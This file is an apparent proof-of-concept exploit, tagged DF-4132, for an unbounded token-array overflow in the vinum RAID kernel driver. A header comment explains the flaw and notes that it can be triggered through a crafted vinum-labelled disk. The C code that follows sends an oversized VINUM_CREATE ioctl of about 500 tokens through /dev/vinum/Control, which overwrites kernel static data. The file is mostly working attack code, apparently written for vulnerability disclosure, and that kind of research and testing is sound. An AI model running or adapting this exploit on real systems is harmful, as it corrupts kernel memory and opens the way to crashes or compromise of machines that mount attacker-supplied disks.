DF-4132 / vinum_tokensmash.c
/* * DF-4132 PoC: vinum tokenize unbounded token array overflow * * parse_config (sys/dev/raid/vinum/vinumconfig.c:1627) passes the static * array token[MAXTOKEN], MAXTOKEN = 64, at vinumconfig.c:78, to tokenize * (sys/dev/raid/vinum/vinumparser.c:163), which stores one pointer per * token with NO bound check (vinumparser.c:175). * * A VINUM_CREATE ioctl whose config line contains more than 64 tokens makes * the kernel write (ntokens - 64) pointers past the end of the 512-byte * static array, deep into the vinum module bss. * * We send one line with ~500 tokens (fits in the 1024-byte ioctl buffer). * Reachable as root via /dev/vinum/Control, and for any config line read * from a vinum-labelled disk (vinum read, boot autodetect), where the * attacker fully controls the config text. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFSIZE 1024 /* VINUM_CREATE = _IOC(IOC_IN|IOC_OUT, 'F', 64, BUFSIZE) */ #define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE) static void send_line(int fd, const char *line, int verbose) { char buf[BUFSIZE]; int error, rc; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%s", line); rc = ioctl(fd, VINUM_CREATE, buf); error = *(int *)buf; /* struct _ioctl_reply { int error; char msg[256]; } */ if (verbose) printf("line \"%s\"\n -> rc=%d errno=%d reply.error=%d msg=\"%.40s\"\n", line, rc, errno, error, buf + 4); } int main(int argc, char **argv) { char line[BUFSIZE]; int fd, ntokens, i, len; ntokens = (argc > 1) ? atoi(argv[1]) : 500; if (ntokens < 2 || ntokens > 512) ntokens = 500; fd = open("/dev/vinum/control", O_RDWR); if (fd < 0) fd = open("/dev/vinum/Control", O_RDWR); if (fd < 0) { perror("open /dev/vinum/Control (need root, kldload vinum)"); return 1; } /* sanity: legal config line */ send_line(fd, "drive d0", 1); /* * One line with ntokens tokens. "drive d0 " + (ntokens-2) x "a ". * Each token beyond the 64th causes one 8-byte pointer write past * token[64] in the kernel's static data. */ len = snprintf(line, sizeof(line), "drive d0"); for (i = 2; i < ntokens; i++) { if (len + 2 >= (int)sizeof(line) - 1) break; line[len++] = ' '; line[len++] = 'a'; } line[len] = '\0'; printf("sending %d tokens (%d bytes) via VINUM_CREATE...\n", i, len + 1); send_line(fd, line, 1); printf("ioctl returned; kernel static data now holds %d overflow pointers\n", i - 64); /* poke the config machinery so the smashed statics get used */ send_line(fd, "drive d1", 1); if (ioctl(fd, VINUM_CREATE, (char[BUFSIZE]){0}) == 0) {} printf("still alive\n"); return 0; } |